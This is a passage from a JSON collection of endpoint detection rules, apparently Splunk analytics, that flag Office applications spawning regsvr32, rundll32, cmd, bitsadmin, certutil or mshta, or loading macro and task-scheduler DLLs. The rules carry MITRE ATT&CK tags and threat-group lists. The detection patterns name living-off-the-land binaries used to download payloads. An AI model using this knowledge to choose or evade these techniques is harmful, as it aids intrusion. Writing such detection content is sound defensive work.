"Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Application Spawn Regsvr32 process", - "description": "The following analytic identifies instances where an Office application spawns a Regsvr32 process, which is often indicative of macro execution or malicious code. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the parent process is a known Office application. This activity is significant because it is a common technique used by malware, such as IcedID, to initiate infections. If confirmed malicious, this behavior could lead to code execution, allowing attackers to gain control over the affected system and potentially escalate privileges.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = \"winword.exe\" OR Processes.parent_process_name = \"excel.exe\" OR Processes.parent_process_name = \"powerpnt.exe\" OR Processes.parent_process_name = \"outlook.exe\" OR Processes.parent_process_name = \"onenote.exe\" OR Processes.parent_process_name = \"onenotem.exe\" OR Processes.parent_process_name = \"onenoteviewer.exe\" OR Processes.parent_process_name = \"onenoteim.exe\" OR Processes.parent_process_name=\"msaccess.exe\") `process_regsvr32` by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `office_application_spawn_regsvr32_process_filter`", - "tags": { - "analytic_story": [ - "IcedID", - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Office application spawning regsvr32.exe on $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Application Spawn rundll32 process", - "description": "The following analytic identifies instances where an Office application spawns a rundll32 process, which is often indicative of macro execution or malicious code. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the parent process is a known Office application. This activity is significant because it is a common technique used by malware, such as Trickbot, to initiate infections. If confirmed malicious, this behavior could lead to code execution, further system compromise, and potential data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = \"winword.exe\" OR Processes.parent_process_name = \"excel.exe\" OR Processes.parent_process_name = \"powerpnt.exe\" OR Processes.parent_process_name= \"onenote.exe\" OR Processes.parent_process_name = \"onenotem.exe\" OR Processes.parent_process_name = \"onenoteviewer.exe\" OR Processes.parent_process_name = \"onenoteim.exe\" OR Processes.parent_process_name = \"msaccess.exe\") AND `process_rundll32` by Processes.parent_process Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `office_application_spawn_rundll32_process_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "IcedID", - "NjRAT", - "Spearphishing Attachments", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Office application spawning rundll32.exe on $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Document Creating Schedule Task", - "description": "The following analytic detects an Office document creating a scheduled task, either through a macro VBA API or by loading `taskschd.dll`. This detection leverages Sysmon EventCode 7 to identify when Office applications load the `taskschd.dll` file. This activity is significant as it is a common technique used by malicious macro malware to establish persistence or initiate beaconing. If confirmed malicious, this could allow an attacker to maintain persistence, execute arbitrary commands, or schedule future malicious activities, posing a significant threat to the environment.", - "search": "`sysmon` EventCode=7 process_name IN (\"WINWORD.EXE\", \"EXCEL.EXE\", \"POWERPNT.EXE\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\", \"msaccess.exe\") loaded_file_path = \"*\\\\taskschd.dll\" | stats min(_time) as firstTime max(_time) as lastTime count by user_id, dest, process_name,loaded_file, loaded_file_path, original_file_name, process_guid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `office_document_creating_schedule_task_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An Office document was identified creating a scheduled task on $dest$. Investigate further.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Document Executing Macro Code", - "description": "The following analytic identifies office documents executing macro code. It leverages Sysmon EventCode 7 to detect when processes like WINWORD.EXE or EXCEL.EXE load specific DLLs associated with macros (e.g., VBE7.DLL). This activity is significant because macros are a common attack vector for delivering malicious payloads, such as malware. If confirmed malicious, this could lead to unauthorized code execution, data exfiltration, or further compromise of the system. Disabling macros by default is recommended to mitigate this risk.", - "search": "`sysmon` EventCode=7 process_name IN (\"WINWORD.EXE\", \"EXCEL.EXE\", \"POWERPNT.EXE\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\") loaded_file_path IN (\"*\\\\VBE7INTL.DLL\",\"*\\\\VBE7.DLL\", \"*\\\\VBEUI.DLL\") | stats min(_time) as firstTime max(_time) as lastTime values(loaded_file) as loaded_file count by dest EventCode process_name process_guid | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `office_document_executing_macro_code_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Azorult", - "DarkCrystal RAT", - "IcedID", - "NjRAT", - "PlugX", - "Qakbot", - "Remcos", - "Spearphishing Attachments", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Office document executing a macro on $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Document Spawned Child Process To Download", - "description": "The following analytic identifies Office applications spawning child processes to download content via HTTP/HTTPS. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where Office applications like Word or Excel initiate network connections, excluding common browsers. This activity is significant as it often indicates the use of malicious documents to execute living-off-the-land binaries (LOLBins) for payload delivery. If confirmed malicious, this behavior could lead to unauthorized code execution, data exfiltration, or further malware deployment, posing a severe threat to the organization's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\", \"Graph.exe\",\"winproj.exe\") Processes.process IN (\"*http:*\",\"*https:*\") NOT (Processes.original_file_name IN(\"firefox.exe\", \"chrome.exe\",\"iexplore.exe\",\"msedge.exe\")) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `office_document_spawned_child_process_to_download_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "NjRAT", - "PlugX", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Office document spawning suspicious child process on $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawn CMD Process", - "description": "The following analytic detects an Office product spawning a CMD process, which is indicative of a macro executing shell commands to download or run malicious code. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names. This activity is significant as it often signals the execution of malicious payloads, such as those seen in Trickbot spear-phishing campaigns. If confirmed malicious, this behavior could lead to unauthorized code execution, potentially compromising the system and allowing further malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name = \"winword.exe\" OR Processes.parent_process_name= \"excel.exe\" OR Processes.parent_process_name = \"powerpnt.exe\" OR Processes.parent_process_name= \"onenote.exe\" OR Processes.parent_process_name = \"onenotem.exe\" OR Processes.parent_process_name = \"onenoteviewer.exe\" OR Processes.parent_process_name = \"onenoteim.exe\" OR Processes.parent_process_name = \"msaccess.exe\" OR Processes.parent_process_name=\"Graph.exe\" OR Processes.parent_process_name=\"winproj.exe\") `process_cmd` by Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.process_guid Processes.user Processes.dest Processes.original_file_name | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `office_product_spawn_cmd_process_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "Azorult", - "CVE-2023-21716 Word RTF Heap Corruption", - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "DarkCrystal RAT", - "NjRAT", - "PlugX", - "Qakbot", - "Remcos", - "Trickbot", - "Warzone RAT" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "an office product parent process $parent_process_name$ spawn child process $process_name$ in host $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawning BITSAdmin", - "description": "The following analytic detects any Windows Office Product spawning `bitsadmin.exe`, a behavior often associated with malware families like TA551 and IcedID. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant because `bitsadmin.exe` is commonly used for malicious file transfers, potentially indicating a malware infection. If confirmed malicious, this activity could allow attackers to download additional payloads, escalate privileges, or establish persistence, leading to further compromise of the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\", \"msaccess.exe\", \"Graph.exe\",\"winproj.exe\") `process_bitsadmin` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `office_product_spawning_bitsadmin_filter`", - "tags": { - "analytic_story": [ - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ with process id $process_id$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawning CertUtil", - "description": "The following analytic detects any Windows Office Product spawning `certutil.exe`, a behavior often associated with malware families like TA551 and IcedID. This detection leverages Endpoint Detection and Response (EDR) data, focusing on process relationships and command-line executions. The significance lies in the fact that `certutil.exe` is frequently used for downloading malicious payloads from remote URLs. If confirmed malicious, this activity could lead to unauthorized code execution, data exfiltration, or further system compromise. Immediate investigation and containment are crucial to prevent potential damage.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\",\"onenote.exe\",\"onenotem.exe\",\"onenoteviewer.exe\",\"onenoteim.exe\",\"msaccess.exe\", \"Graph.exe\",\"winproj.exe\") `process_certutil` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `office_product_spawning_certutil_filter`", - "tags": { - "analytic_story": [ - "AgentTesla", - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "Spearphishing Attachments", - "Trickbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process Name", - "role": [ - "Attacker" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ with process id $process_id$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawning MSHTA", - "description": "The following analytic identifies instances where a Microsoft Office product spawns `mshta.exe`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process creation events where the parent process is an Office application. This activity is significant because it is a common technique used by malware families like TA551 and IcedID to execute malicious scripts or payloads. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, potentially leading to data exfiltration, system compromise, or further malware deployment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN (\"winword.exe\",\"excel.exe\",\"powerpnt.exe\",\"mspub.exe\",\"visio.exe\", \"onenote.exe\",\"onenotem.exe\", \"msaccess.exe\",\"Graph.exe\",\"winproj.exe\") `process_mshta` by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `office_product_spawning_mshta_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "CVE-2023-36884 Office and Windows HTML RCE Vulnerability", - "IcedID", - "NjRAT", - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - } - ], - "message": "office parent process $parent_process_name$ will execute a suspicious child process $process_name$ with process id $process_id$ in host $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1566", - "mitre_attack_technique": "Phishing", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "Axiom", - "GOLD SOUTHFIELD" - ] - }, - { - "mitre_attack_id": "T1566.001", - "mitre_attack_technique": "Spearphishing Attachment", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT1", - "APT12", - "APT19", - "APT28", - "APT29", - "APT30", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "BITTER", - "BRONZE BUTLER", - "BlackTech", - "Cobalt Group", - "Confucius", - "DarkHydrus", - "Darkhotel", - "Dragonfly", - "EXOTIC LILY", - "Elderwood", - "Ember Bear", - "FIN4", - "FIN6", - "FIN7", - "FIN8", - "Ferocious Kitten", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Inception", - "IndigoZebra", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Machete", - "Malteiro", - "Mofang", - "Molerats", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "RTM", - "Rancor", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA459", - "TA505", - "TA551", - "The White Company", - "Threat Group-3390", - "Tonto Team", - "Transparent Tribe", - "Tropic Trooper", - "WIRTE", - "Windshift", - "Wizard Spider", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Office Product Spawning Rundll32 with no DLL", - "description": "The following analytic detects any Windows Office Product spawning `rundll32.exe` without a `.dll` file extension. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process and parent process relationships. This activity is significant as it is a known tactic of the IcedID malware family, which can lead to unauthorized code execution. If confirmed malicious, this could allow attackers to execute arbitrary 